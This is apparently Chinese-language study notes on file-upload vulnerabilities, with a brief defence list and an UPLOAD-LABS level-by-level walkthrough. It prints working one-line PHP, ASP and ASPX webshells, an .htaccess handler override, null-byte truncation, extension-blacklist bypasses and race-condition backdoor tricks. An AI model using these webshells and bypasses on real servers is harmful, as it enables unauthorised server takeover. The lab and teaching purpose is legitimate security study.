产生原因
网站存在文件上传功能,但是开发者没有对上传的文件做严格的验证,导致用户可以传入木马文件,破坏或控制服务器。
如何挖掘
只要有文件上传的接口,就可能存在文件上传的风险。
常见的文件上传接口:上传头像、上传附件、上传简历、上传照片、文本编辑器的附件上传、实名认证的实名信息上传。。。。。。
怎么尝试
- 上传webshell-- 但是各个语言之间不通用-->可以控制目标网站
- 上传脏文件--html(<h1>1234<h1>)、大文件(20GB的文件)-->不能控制目标文件
如何利用
1、常见的一句话webshell:(传入的参数一定要是函数)
php一句话木马:
<?php @eval($_POST[value]);?>
asp一句话木马:
<%eval request("value")%>
aspx一句话木马:
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
2、webshell管理器:
HackBar
中国蚁剑(明文)
冰蝎(动态加密)
哥斯拉(动态加密)
3、如何判断当前权限:
Windows:whoami /all
Linux:id
4、绕过js检测(修改js或使用burp suite)
5、绕过MIME限制
6、黑名单
(1)大小写绕过
(2). 绕过
(3)空格绕过::$data绕过
(4)配合apache解析
(5)配合.htaccess文件
文件如下:
<FilesMatch "as.png">
setHandler application/x-httpd-php
</FilesMatch>
7、白名单 需要配合其他漏洞
(1)00截断:php=5.2 magic_quotes_gpc=Off 抓的包中必须有路径
注:1)%00必须写在路径之后,如:../upload/666.php%00
2)如果是post请求,在请求体中的路径后输入%00,然后URL-decode
(2)中间件解析漏洞
(3)php文件包含漏洞
如何防御
- 黑名单
- 白名单
- 隐藏上传路径
- 服务器隔离
- 上传目录禁止执行
- 压缩(二次渲染)
- 读取文件信息(像素、长度、宽度、高度、灰度值)
- 限制文件大小和数量
如何找到自己上传的webshell
(1)图片的路径 (2)返回包中查找 (3)依据其他文件上传的路径猜测
思考:现在还存在文件上传漏洞吗?
答:广泛存在
不一样的点:python(django、flask、fastapi)、golang(gin)、java(spring boot)类似的语言编写的服务端不会存在webshell文件上传漏洞,只能上传脏文件。
UPLOAD-LABS
(1)修改js前端验证绕过
(2)修改为.png后缀用burpsuite开启拦截器抓包并将后缀改为.php,然后放行
(3)修改后缀名为.php3
(4)先上传.htaccess文件,在上传.png的图片马
(5)由于会删除文件后缀的”.”和””,所以可以写为”. .”,后面的” .“用于服务端过滤,第一个”.”用于绕过黑名单
(6)由于没有过滤空格,所以可以写成”. 1.”利用数字1便于找到文件,否则加空格后服务端重命名之后就找不到了
(7)由于没有过滤”.”,所以可以在文件后缀后加一个”.”
(8)由于没有过滤”::DATA”所以可以在文件后缀名之后加上”::DATA”
(9)和第5关一样
(10)利用双写绕过,如:”pphphp”
(11)利用%00截断的方法进行绕过
(12)为post请求的上传,可以在请求体中利用0X00截断的方法进行绕过
(13)利用图片马进行绕过
(16) 1.想办法找到上传的正常的图片,查看未渲染的地方,将代码插入到其中。
2.上传之后会检查图片,利用持续上传检查的时间差进行攻击。
(17)和16关一样,也是利用时间查,不一样的是要写一个可以创建php文件的php木马,通过持续上传的时间差木马短暂停留在服务器上并执行创建php文件的命令,创建的php文件不会被删除,便留下了后门。
(18)上传一个可以创建php的shell的php木马,通过bp抓包,将文件名的后缀名后加上”.7z”,然后访问文件,就会创建php的shell。
(19)这一关是利用pathinfo()函数提取最后一个点后面的后缀名,然后返回给代码进行对比,如果最后一个点后面没有后缀名,就会返回空值,便可以绕过黑名单。所以上传一个jpg格式的php木马(因为这一关会自动更改文件名,所以可以上传jpg格式的马,然后再抓包更改上传后的文件名),然后抓包,系统默认的上传后的文件名改为php并在后面加上”/.”(加”.”是为了保留php/,将空白后缀名返回给代码,最后系统会保留”.php”文件,并将”/”去掉,最后存为”.php”文件)
(20)利用图片马和文件包含进行绕过
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)